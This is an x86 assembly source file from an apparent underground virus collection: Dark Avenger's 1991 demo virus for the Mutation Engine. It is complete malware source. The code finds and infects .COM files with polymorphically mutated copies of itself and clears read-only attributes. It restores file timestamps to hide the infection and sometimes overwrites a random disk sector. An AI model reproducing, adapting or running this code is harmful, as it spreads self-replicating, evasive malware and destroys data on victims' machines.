Underground/Underground CD1.iso/virii/zrodla/d/demovir.asm

Assembly Source File | 1998-01-14 | 3.4 KB | 195 lines

; This is a demo virus to demonstrate

;   the Mutation Engine <tm> usage



; Version 1.01 (26-10-91)

; (C) 1991 Dark Avenger.



    .model    tiny

    .radix    16

    .code



    extrn    mut_engine: near, rnd_get: near, rnd_init: near

    extrn    rnd_buf: word, data_top: near



    org    100



start:

    call    locadr

reladr:

    db    'We dedicate this little virus to Sara Gordon'

    db    ' who wanted to have a virus named after her.'

locadr:

    pop    dx

    mov    cl,4

    shr    dx,cl

    sub    dx,10

    mov    cx,ds

    add    cx,dx            ;Calculate new CS

    mov    dx,offset begin

    push    cx dx

    retf

begin:

    cld

    mov    di,offset start

    push    es di

    push    cs

    pop    ds

    mov    si,offset old_cod

    movsb                ;Restore first 3 bytes

    movsw

    push    ax

    mov    dx,offset dta_buf    ;Set DTA

    mov    ah,1a

    int    21

    mov    ax,3524         ;Hook INT 24

    int    21

    push    es bx

    mov    dx,offset fail_err

    mov    ax,2524

    int    21

    xor    ax,ax            ;Initialize random seed

    mov    [rnd_buf],ax

    call    rnd_init

    push    sp

    pop    cx

    sub    cx,sp

    add    cx,4

    push    cx

    mov    dx,offset srchnam

    mov    cl,3

    mov    ah,4e

find_lup:

    int    21            ;Find the next COM file

    jc    infect_done

    cmp    [dta_buf+1a],ch

    jnz    infect            ;If not infected, infect it now

    pop    cx

find_nxt:

    push    cx

    mov    dx,offset dta_buf

    mov    ah,4f

    jmp    find_lup

infect_done:

    pop    cx

    loop    find_nxt

    jnc    damage_done

    call    rnd_get

    test    al,1

    jz    damage_done

    xchg    ax,dx            ;Trash a random sector on the default

    mov    ah,19            ;  drive

    int    21

    mov    cx,1

    mov    bx,offset start

    int    26

    popf

damage_done:

    pop    dx ds

    mov    ax,2524         ;Restore INT 24

    int    21

    push    ss

    pop    ds

    mov    dx,80            ;Restore DTA

    mov    ah,1a

    int    21

    push    ds            ;Exit to program

    pop    es

    pop    ax

    retf

infect:

    xor    cx,cx            ;Reset read-only attribute

    mov    dx,offset dta_buf+1e

    mov    ax,4301

    int    21

    jc    infect_done

    mov    ax,3d02         ;Open the file

    int    21

    jc    infect_done

    xchg    ax,bx

    mov    dx,offset old_cod    ;Read first 3 bytes

    mov    cx,3

    mov    ah,3f

    int    21

    jc    read_done

    mov    ax,word ptr [old_cod]    ;Make sure it's not an EXE file

    cmp    ax,'ZM'

    jz    read_done

    cmp    ax,'MZ'

    jz    read_done

    xor    cx,cx            ;Seek at EOF

    xor    dx,dx

    mov    ax,4202

    int    21

    test    dx,dx            ;Make sure the file is not too big

    jnz    read_done

    cmp    ax,-2000

    jnc    read_done

    mov    bp,ax

    sub    ax,3

    mov    word ptr [new_cod+1],ax

    mov    ax,5700         ;Save file's date/time

    int    21

    push    dx cx

    mov    ax,offset data_top+0f

    mov    cl,4            ;Now call the Engine

    shr    ax,cl

    mov    cx,cs

    add    ax,cx

    mov    es,ax

    mov    dx,offset start

    mov    cx,offset _DATA

    push    bp bx

    add    bp,dx

    xor    si,si

    xor    di,di

    mov    bl,0f

    mov    ax,101

    call    mut_engine

    pop    bx ax

    add    ax,cx            ;Make sure file length mod 256 = 0

    neg    ax

    xor    ah,ah

    add    cx,ax

    mov    ah,40            ;Put the virus into the file

    int    21

    push    cs

    pop    ds

    jc    write_done

    sub    cx,ax

    jnz    write_done

    xor    dx,dx            ;Put the JMP instruction

    mov    ax,4200

    int    21

    mov    dx,offset new_cod

    mov    cx,3

    mov    ah,40

    int    21

write_done:

    pop    cx dx            ;Restore file's date/time

    mov    ax,5701

    int    21

read_done:

    mov    ah,3e            ;Close the file

    int    21

    jmp    infect_done



fail_err:                ;Critical errors handler

    mov    al,3

    iret



srchnam db    '*.COM',0



old_cod:                ;Buffer to read first 3 bytes

    ret

    dw    ?



new_cod:                ;Buffer to write first 3 bytes

    jmp    $+100



    .data



dta_buf db    2bh dup(?)        ;Buffer for DTA



    end    start